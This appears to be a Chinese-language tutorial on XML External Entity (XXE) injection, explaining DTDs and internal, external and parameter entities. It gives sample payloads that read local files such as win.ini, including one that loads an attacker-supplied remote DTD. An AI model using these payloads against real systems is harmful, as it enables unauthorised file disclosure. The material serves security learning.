[TOC]
XXE(XML External Entity Injection) 全称为 XML 外部实体注入
如果使用的php中libxml低于2.9.1,或设置了libxml_disable_entity_loader(FALSE),就会造成XXE漏洞
学习参考地址: ***.com
XML和DTD知识
XML文档结构 * XML文档必须有一个根元素 * XML元素都必须有一个关闭标签 * XML标签对大小写敏感 * XML元素必须被正确的嵌套 * XML属性值必须加引号
XML基础知识
略
XML外部实体
-
什么是XML外部实体? 两个采用不同技术栈的系统可以通过XML进行通信和交换数据。 在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。
-
什么是XML外部实体攻击? 在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断。
DTD基础知识
DTD(Document Type Definition)即文档类型定义,用来为 XML 文档定义语义约束。 可以嵌入在 XML 文档中(内部声明),也可以独立的放在一个文件中(外部引用)。 参考链接: ***.com
DTD引用方式(简要了解):
#1. DTD 内部声明
<!DOCTYPE 根元素 [元素声明] >
#2. DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI" >
#3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI" >
内部实体和外部实体
实体分为两种,内部实体和外部实体。
* 内部实体语法和示例:
xml
# 内部实体定义语法
<!ENTITY 实体名称 "实体的值">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "***.com" >
]>
<foo>&xxe;</foo> //调用
- 外部实体语法和示例:
外部实体需要加SYSTEM关键字
xml # 外部实体定义语法 <!ENTITY 实体名称 SYSTEM "URI/URL"> #示例 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" > ]> <foo>&xxe;</foo> //调用
通用实体和参数实体
实体也可以分成通用实体和参数实体 1. 通用实体 在DTD中定义,在XML文档中用&引用 示例代码: ```xml <!DOCTYPE updateProfile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
...
<lastname>&file;</lastname>
...
</updateProfile>
```
-
参数实体:
- 参数实体只能在DTD中定义和引用
- 用
% 实体名定义,用% 实体名;引用 - 参数实体的声明可以引用其他实体
- 参数实体也可以外部引用 语法和示例代码: ```xml
语法
<!ENTITY % 实体名称 "实体的值"> <!ENTITY % 实体名称 SYSTEM "URI">
示例
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "***.com" > //定义参数实体并引用其他实体 %xxe; //引用参数实体,可调出url中的dtd的内容 ]>
&evil; //引用参数实体url中dtd内的实体外部实体evil中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" > ``` 参数实体在我们 Blind XXE 中起到了至关重要的作用